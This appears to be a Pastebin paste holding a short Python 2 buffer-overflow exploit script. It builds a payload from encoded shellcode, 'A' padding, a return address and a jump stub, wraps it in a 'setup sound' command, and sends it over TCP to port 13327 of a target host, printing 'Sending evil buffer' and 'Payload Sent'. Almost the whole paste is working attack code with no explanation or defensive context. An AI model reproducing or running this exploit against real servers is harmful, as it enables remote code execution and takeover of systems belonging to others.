Advertisement
Guest User

bashbin

a guest
Apr 25th, 2018
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. shellcode = ("\xd9\xed\xd9\x74\x24\xf4\xbb\xf8\xbc\x4b\xfa\x5d\x31\xc9\xb1"
  2. "\x14\x31\x5d\x19\x03\x5d\x19\x83\xc5\x04\x1a\x49\x7a\x21\x2d"
  3. "\x51\x2e\x96\x82\xfc\xd3\x91\xc5\xb1\xb2\x6c\x85\xe9\x64\x3d"
  4. "\xed\x0f\x99\xd0\xb1\x65\x89\x83\x19\xf3\x48\x49\xff\x5b\x46"
  5. "\x0e\x76\x1a\x5c\xbc\x8c\x2d\x3a\x0f\x0c\x0e\x73\xe9\xc1\x11"
  6. "\xe0\xaf\xb3\x2e\x5f\x9d\xc3\x18\x26\xe5\xab\xb5\xf7\x66\x43"
  7. "\xa2\x28\xeb\xfa\x5c\xbe\x08\xac\xf3\x49\x2f\xfc\xff\x84\x30")
  8. ret="\x97\x45\x13\x08"
  9. crash=shellcode + "\x41" * (4368-105) + ret + "\x83\xC0\x0C\xFF\xE0\x90\x90"
  10. buffer = "\x11(setup sound " + crash + "\x90\x00#"
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12. print "[*]Sending evil buffer..."
  13. s.connect((host, 13327))
  14. data=s.recv(1024)
  15. print data
  16. s.send(buffer)
  17. s.close()
  18. print "[*]Payload Sent !
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement